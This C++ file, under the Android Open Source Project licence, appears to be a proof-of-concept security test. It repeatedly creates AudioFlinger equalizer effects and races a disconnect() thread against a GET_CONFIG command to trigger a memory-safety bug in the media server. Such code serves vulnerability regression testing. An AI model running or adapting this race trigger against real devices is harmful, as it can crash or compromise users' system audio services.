1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <sys/types.h>
17 #include <sys/wait.h>
18 #include <stdlib.h>
19
20 #include <android/media/BnEffectClient.h>
21 #include <android/media/IEffect.h>
22 #include <android/content/AttributionSourceState.h>
23 #include <hardware/audio_effect.h>
24 #include <media/AidlConversion.h>
25 #include <media/AudioSystem.h>
26 #include <media/IAudioFlinger.h>
27
28 using namespace android;
29 using media::IEffect;
30
31 struct EffectClient : public media::BnEffectClient {
EffectClientEffectClient32 EffectClient() {}
controlStatusChangedEffectClient33 virtual binder::Status controlStatusChanged(bool controlGranted __unused) {
34 return binder::Status::ok();
35 }
36
enableStatusChangedEffectClient37 virtual binder::Status enableStatusChanged(bool enabled __unused) {
38 return binder::Status::ok();
39 }
40
commandExecutedEffectClient41 virtual binder::Status commandExecuted(int32_t cmdCode __unused,
42 const std::vector<uint8_t>& cmdData __unused,
43 const std::vector<uint8_t>& replyData __unused) {
44 return binder::Status::ok();
45 }
46 };
47
48 sp<IEffect> gEffect;
49
disconnectThread(void *)50 void *disconnectThread(void *) {
51 usleep(5);
52 if (gEffect != NULL && gEffect.get() != NULL) {
53 gEffect->disconnect();
54 }
55 return NULL;
56 }
57
main()58 int main() {
59 static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
60 0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
61
62 effect_descriptor_t descriptor;
63 memset(&descriptor, 0, sizeof(descriptor));
64 descriptor.type = EFFECT_UIID_EQUALIZER;
65 descriptor.uuid = *EFFECT_UUID_NULL;
66 sp<EffectClient> effectClient(new EffectClient());
67
68 const int32_t priority = 0;
69 audio_session_t sessionId = (audio_session_t)(128);
70 const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
71 const std::string opPackageName("com.exp.poc");
72 int32_t id;
73 int i, enabled;
74 status_t err;
75
76 std::vector<uint8_t> cmdData;
77 std::vector<uint8_t> replyData;
78
79 gEffect = NULL;
80 pthread_t pt;
81 const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
82 AudioDeviceTypeAddr device;
83 android::content::AttributionSourceState attributionSource;
84 attributionSource.packageName = opPackageName;
85 attributionSource.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid()));
86
87 for (i=0; i<100; i++) {
88 media::CreateEffectRequest request;
89 request.desc = VALUE_OR_RETURN_STATUS(
90 legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor));
91 request.client = effectClient;
92 request.priority = priority;
93 request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io));
94 request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId));
95 request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device));
96 request.attributionSource = attributionSource;
97 request.probe = false;
98
99 media::CreateEffectResponse response;
100
101 err = audioFlinger->createEffect(request, &response);
102
103 if (err == OK) {
104 id = response.id;
105 enabled = response.enabled;
106 gEffect = response.effect;
107 descriptor = VALUE_OR_RETURN_STATUS(
108 aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc));
109 }
110
111 if (gEffect == NULL || err != NO_ERROR) {
112 return -1;
113 }
114 pthread_create(&pt, NULL, disconnectThread, NULL);
115 binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData,
116 sizeof(effect_config_t),
117 &replyData, &err);
118 if (!status.isOk()) {
119 err = status.transactionError();
120 }
121 usleep(50);
122 }
123 sleep(2);
124 return 0;
125 }
126